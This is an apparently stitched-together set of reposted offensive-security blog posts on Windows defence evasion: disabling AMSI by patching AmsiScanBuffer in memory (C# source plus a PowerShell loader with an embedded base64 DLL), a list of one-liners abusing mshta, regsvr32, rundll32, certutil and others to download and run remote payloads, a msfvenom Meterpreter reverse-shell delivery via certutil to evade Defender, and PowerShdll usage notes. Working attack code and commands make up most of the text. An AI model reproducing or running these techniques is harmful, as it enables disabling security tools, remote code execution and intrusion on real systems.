How to bypass AMSI and execute ANY malicious Powershell code

Картинки по запросу amsi microsoft

( original text by 

Hello again. In my previous posts I detailed how to manually get SYSTEM shell from Local Administrators users. That’s interesting but very late game during a penetration assessment as it is presumed that you already owned the target machine.

This post will be more useful for early game, as AMSI (Anti Malware Scan Interface) can be a trouble to get a shell, or to execute post-exploitation tools while you still do not have an admin shell.

What is AMSI?

AMSI stands for “ANTI MALWARE SCAN INTERFACE”;

As it’s name suggests, it’s job is to scan, detect and block anything that does bad stuff.

Still doesn’t know what this is? Check this screenshot:

Screenshot

Obviously if you are experienced with penetration testing in Windows environments, you had such error with almost all public known scripts that are used like some in Nishang, Empire, PowerSploit and other awesome PowerShell scripts.

How does AMSI works?

AMSI uses “string-based” detection measures to determine if a PowerShell code is malicious or not.

Check this example:

Screenshot

Yes, the word “amsiutils” is banned. If have this word in your name, my friend, you are a malicious person for AMSI.

How to bypass string detection?

Everyone knows that string detection is very easy to bypass, just don’t use your banned string literally. Use encoding or split it in chunks and reassemble to get around this.

Here are three ways of executing the “banned” code and not get blocked:

Screenshot

Simply by splitting the word in half is enough to fool this detection scheme. We see this a lot in obfuscation. But in most of the cases, this method can fail.

Screenshot

In some cases, simply by decoding a Base64 banned code is enough to get around it.

Screenshot

And of course, you could use XOR to trick amsi and decode your string back to memory during runtime. This would be the more effective one, as it would need a higher abstraction to detect it.

All this techniques are to “GET AROUND” string detection, but we don’t want that. We want to execute the scripts in original state, the state where they are blocked by AMSI.

AMSI bypass by memory patching

This is the true bypass. Actually we do not “bypass” in the strict meaning of the word, we actually DISABLE it.

AMSI has several functions that are executed before any PowerShell code is run (from Powershell v3.0 onwards), so to bypass AMSI completely and execute any PowerShell malware, we need to memory patch them to COMPLETELY DISABLE it.

The best technique I have found in the internet is in this Link and it works in most recent version of Windows!

I wont enter in details about memory patching, you can get these details in above link

Instead, we will weaponize this technique and apply it to a PowerShell script, so we can use it in our real life engagements!

We will compile a C# DLL with code that will apply the above mentioned technique and then we will load and execute this code in a PowerShell session, disabling AMSI completely!

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

Now, with possession of a DLL of the above code, use it like this:

Screenshot

See that we are able to use the banned word freely. From this point onwards, THERE IS NO AMSI. We are free to load ANY powershell script, malicious or not. By combining this type of attack with your malicious tools you will 100% success against AMSI.

Weaponinzing with PowerShell

Of course, in a Penetration Test we must have tools to apply such techniques automatically. Again, as we used .NET framework through C#, we can create a Posh script that reflects our DLL in-memory during runtime, without the need to touch the disk with our DLL.

Here is my PowerShell script to disable AMSI:

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCgBAAAGCwd+EAAACigRAAAKLAxyiQAAcCgSAAAKFyobaigTAAAKDBY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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

This will bypass string detection because it does not uses anything malicious at all. It just loads an .NET assembly to memory and execute it’s code. And after executing it, you are FREE to execute real PowerShell malware!

Check my results:

Screenshot

This technique is awesome and extremly useful. You can put to use a handful of PowerShell post-exploitation scripts like Nishang, Powersploit and any other PoSH hacking tool that once was blocked by the annoying AMSI.

I hope you liked this post, all the credits for the technique goes to guys from CyberArk website, I only showed how to effectively use it in a real-life scenario from an attacker perspective.

Best regards,

zc00l.

Реклама

Windows oneliners to download remote payload and execute arbitrary code

( origin text )

In the wake of the recent buzz and trend in using DDE for executing arbitrary command lines and eventually compromising a system, I asked myself « what are the coolest command lines an attacker could use besides the famous powershell oneliner » ?

These command lines need to fulfill the following prerequisites:

  • allow for execution of arbitrary code – because spawning calc.exe is cool, but has its limits huh ?
  • allow for downloading its payload from a remote server – because your super malware/RAT/agent will probably not fit into a single command line, does it ?
  • be proxy aware – because which company doesn’t use a web proxy for outgoing traffic nowadays ?
  • make use of as standard and widely deployed Microsoft binaries as possible – because you want this command line to execute on as much systems as possible
  • be EDR friendly – oh well, Office spawning cmd.exe is already a bad sign, but what about powershell.exe or cscript.exe downloading stuff from the internet ?
  • work in memory only – because your final payload might get caught by AV when written on disk

A lot of awesome work has been done by a lot of people, especially @subTee, regarding application whitelisting bypass, which is eventually what we want: execute arbitrary code abusing Microsoft built-in binaries.

Let’s be clear that not all command lines will fulfill all of the above points. Especially the « do not write the payload on disk » one, because most of the time the downloaded file will end-up in a local cache.

When it comes to downloading a payload from a remote server, it basically boils down to 3 options:

  1. either the command itself accepts an HTTP URL as one of its arguments
  2. the command accepts a UNC path (pointing to a WebDAV server)
  3. the command can execute a small inline script with a download cradle

Depending on the version of Windows (7, 10), the local cache for objects downloaded over HTTP will be the IE local cache, in one the following location:

  • C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
  • C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>

On the other hand, files accessed via a UNC path pointing to a WebDAV server will be saved in the WebDAV client local cache:

  • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

When using a UNC path to point to the WebDAV server hosting the payload, keep in mind that it will only work if the WebClient service is started. In case it’s not started, in order to start it even from a low privileged user, simply prepend your command line with « pushd \\webdavserver & popd ».

In all of the following scenarios, I’ll mention which process is seen as performing the network traffic and where the payload is written on disk.

Powershell


Ok, this is by far the most famous one, but also probably the most monitored oneif not blocked. A well known proxy friendly command line is the following:

1
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

Process performing network call: powershell.exe
Payload written on disk: NO (at least nowhere I could find using procmon !)

Of course you could also use its encoded counterpart.

But you can also call the payload directly from a WebDAV server:

1
powershell -exec bypass -f \\webdavserver\folder\payload.ps1

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Cmd


Why make things complicated when you can have cmd.exe executing a batch file ? Especially when that batch file can not only execute a series of commands but also, more importantly, embed any file type (scripting, executable, anything that you can think of !). Have a look at my Invoke-EmbedInBatch.ps1 script (heavily inspired by @xorrior work), and see that you can easily drop any binary, dll, script: https://github.com/Arno0x/PowerShellScripts
So once you’ve been creative with your payload as a batch file, go for it:

1
cmd.exe /k < \\webdavserver\folder\batchfile.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Cscript/Wscript


Also very common, but the idea here is to download the payload from a remote server in one command line:

1
cscript //E:jscript \\webdavserver\folder\payload.txt

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Mshta


Mshta really is the same family as cscript/wscript but with the added capability of executing an inline script which will download and execute a scriptlet as a payload:

1
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))

Process performing network call: mshta.exe
Payload written on disk: IE local cache

You could also do a much simpler trick since mshta accepts a URL as an argument to execute an HTA file:

1
mshta http://webserver/payload.hta

Process performing network call: mshta.exe
Payload written on disk: IE local cache

Eventually, the following also works, with the advantage of hiding mshta.exe downloading stuff:

1
mshta \\webdavserver\folder\payload.hta

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Rundll32


A well known one as well, can be used in different ways. First one is referring to a standard DLL using a UNC path:

1
rundll32 \\webdavserver\folder\payload.dll,entrypoint

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Rundll32 can also be used to call some inline jscript:

1
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();

Process performing network call: rundll32.exe
Payload written on disk: IE local cache

Wmic


Discovered by @subTee with @mattifestation, wmic can invoke an XSL (eXtensible Stylesheet Language) local or remote file, which may contain some scripting of our choice:

1
wmic os get /format:"https://webserver/payload.xsl"

Process performing network call: wmic.exe
Payload written on disk: IE local cache

Regasm/Regsvc


Regasm and Regsvc are one of those fancy application whitelisting bypass techniques discovered by @subTee. You need to create a specific DLL (can be written in .Net/C#) that will expose the proper interfaces, and you can then call it over WebDAV:

1
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Regsvr32


Another one from @subTee. This ones requires a slightly different scriptlet from the mshta one above. First option:

1
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll

Process performing network call: regsvr32.exe
Payload written on disk: IE local cache

Second option using UNC/WebDAV:

1
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Odbcconf


This one is close to the regsvr32 one. Also discovered by @subTee, it can execute a DLL exposing a specific function. To be noted is that the DLL file doesn’t need to have the .dll extension. It can be downloaded using UNC/WebDAV:

1
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Msbuild


Let’s keep going with all these .Net framework utilities discovered by @subTee. You can NOT use msbuild.exe using an inline tasks straight from a UNC path (actually, you can but it gets really messy), so I turned out with the following trick, using msbuild.exe only. Note that it will require to be called within a shell with ENABLEDELAYEDEXPANSION (/V option):

1
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"

Process performing network call: svchost.exe
Payload written on disk: WebDAV client local cache

Not sure this one is really useful as is. As we’ll see later, we could use other means of downloading the file locally, and then execute it with msbuild.exe.

Combining some commands


After all, having the possibility to execute a command line (from DDE for instance) doesn’t mean you should restrict yourself to only one command. Commands can be chained to reach an objective.

For instance, the whole payload download part can be done with certutil.exe, again thanks to @subTee for discovering this:

1
certutil -urlcache -split -f http://webserver/payload payload

Now combining some commands in one line, with the InstallUtil.exe executing a specific DLL as a payload:

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll

You could simply deliver an executable:

1
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe

There are probably much other ways of achieving the same result, but these command lines do the job while fulfilling most of prerequisites we set at the beginning of this post !

One may wonder why I do not mention the usage of the bitsadmin utility as a means of downloading a payload. I’ve left this one aside on purpose simply because it’s not proxy aware.

Payloads source examples


All the command lines previously cited make use of specific payloads:

  • Various scriplets (.sct), for mshta, rundll32 or regsvr32
  • XSL files for wmic
  • HTML Application (.hta)
  • MSBuild inline tasks (.xml or .csproj)
  • DLL for InstallUtil or Regasm/Regsvc

You can get examples of most payloads from the awesome atomic-red-team repo on Github: https://github.com/redcanaryco/atomic-red-team from @redcanaryco.

You can also get all these payloads automatically generated thanks to the GreatSCT project on Github: https://github.com/GreatSCT/GreatSCT

You can also find some other examples on my gist: https://gist.github.com/Arno0x

PowerShell: In-Memory Injection Using CertUtil.exe

PowerShell: In-Memory Injection Using CertUtil.exe

Have you ever heard the old saying, «The only constant in life is change?» Nothing is truer in the world of penetration testing and information security than the certainty of change. New defenses are always emerging, and the guys and gals in the red team game are always having to evolve our efforts to evade defenses. This week was one of those weeks for me.

I was ramping up for an internal engagement and had another one on the way when I discovered that Microsoft had just stepped up their game recently with Windows Defender, which is now present on just about every recent Microsoft operating system we run into. I started to panic a little. I had a good run for a few years using PowerShell cradles with Invoke-Shellcode to rein shells rather easily, but not anymore. Like all good things, my tried and true method had now been demolished.

But all was not lost. Recently I had been doing some research and gearing up for a class that I would be taking later this year at Black Hat on code-injection techniques. I had also read about Microsoft’s Certutil.exe in conjunction with PowerShell being able to perform in-memory injection on several blog sites. Lastly, I was introduced to the PowerShell module Invoke-CradleCrafter written by the very talented Daniel Bohannon. I had used Invoke-Obfuscation quite a bit so the transition to Invoke-CradleCrafter was pretty painless.

In this blog post I will discuss the steps to use PowerShell, Invoke-CradleCrafter and Microsoft’s Certutil.exe to craft a payload and one-liner that can be used to evade the latest version of Windows Defender (as of this writing), as well as tips for not getting caught by Intrusion Detection Systems and behavior analysis. After all, PowerShell is still one of the easiest and best ways to gain a foothold, but at the same time it is selling you out because it talks to AMSI as soon as it’s run, which makes things a bit challenging. The beauty of this method is that Microsoft’s certutil does the network call out to your main payload while appearing to be an innocent little certificate file instead of your standard PowerShell Invoke-Shellcode cradle, which most intrusion and behavioral systems are looking for these days.

Setup Requirements: Linux, Metasploit, Invoke-CradleCrafter, PowerShell for Linux, and Windows 10.
Install PowerShell for Linux and Metasploit.

When I’m doing this, I prefer to run PowerShell on Linux just so Defender doesn’t trip. Download Invoke-CradleCrafter from GitHub.

Next, we will create a base64 encoded PowerShell Meterpreter payload by performing the following:
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<YOUR IP HERE> LPORT=443 -e cmd/powershell_base64 -f psh -o load.txt

Note that the payload file’s extension could be anything as long as certutil can get at it and read its content. For example, an organization may have a policy (or IDS, content filter, etc.) that does not allow the downloading of scripts, however they probably allow .txt files or even files with abnormal extensions. If you change it, just make sure you compensate for that when setting the URL in Invoke-CradleCrafter (see below).

Next you will create a folder that will be used to serve up web content. In this example we will call our folder payloads. Place the PowerShell Meterpreter PowerShell script inside this folder.

Next, we will use Invoke-CradleCrafter to obfuscate our certutil and PowerShell commands that will be used to perform in-memory injection bypassing Defender.

Drop into a PowerShell prompt on your Linux host either by typing pwsh or powershell. Once incd into your Invoke-CradleCrafter directory and run the following:

Import-Module .\Invoke-CradleCrafter.psd1; Invoke-CradleCrafter
At the prompt type: SET URL http(s)://<YOUR IP>/load.txt or you can use another extension, etc.

Next Type MEMORY and then CERTUTIL:

Next you will be presented with your obfuscation options. I typically select All and then type 1

 

Once you have the result, place it in a file called raw.txt on your Windows machine. You will encode this file in base64 using the certutil to create a file called cert.cer and place it on a webserver. We will then construct a one-liner that will be called remotely to pull down this file and get it executed on the target. Once it executes it will call our payload load.txt and inject Meterpreter via PowerShell into memory.

Use certutil to encode the raw.txt file:

Looks like a real certificate, doesn’t it?

Place your cert.cer in the payloads directory you will be serving up content in. Next, we will construct our one-liner, which can be placed into a batch file or executed from the command line or from great tools like CrackMapExec.

One-liner:

powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%\cert.cer (New-Object Net.WebClient).DownloadString(‘http://YOUR IP HERE/cert.cer’); certutil -decode %APPDATA%\cert.cer %APPDATA%\stage.ps1 & start /b cmd /c powershell.exe  -Exec Bypass -NoExit -File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\cert.cer

Once you have everything set up and your web server started where the content is served, you can run the above command and you should get a Meterpreter shell:

Your web server should get 2 hits:

Defender is successfully bypassed and a Meterpreter session is established:

Note that for this attack to be successful, the Meterpreter PowerShell script that gets executed needs to be deleted manually. The cert.cer file will automatically get deleted, but you will need to delete stage.ps1 file once in a Meterpreter session by doing:

Also note that you can also just drop to PowerShell from a command shell you may have gotten by other means and copy in the contents of your stage.ps1 file to get your payload executed directly like so:

In closing, I am reminded of just how good change can be. Not only does change help you grow as a penetration tester by forcing you to research and try new techniques, it can also help you become a better consultant to your customers and educate them on how to be better equipped and tune their defenses to detect these ever-changing advanced attacks.

Run PowerShell with rundll32. Bypass software restrictions.

Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.

Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.
Run PowerShell with dlls only. Does not require access to powershell.exe as it uses powershell automation dlls.

dll mode:

Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

exe mode

Usage:
PowerShdll.exe <script>
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console

Examples

Run base64 encoded script

rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Download and run script

rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

Requirements

  • .Net v3.5 for dll mode.
  • .Net v2.0 for exe mode.

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure. Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process’ console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.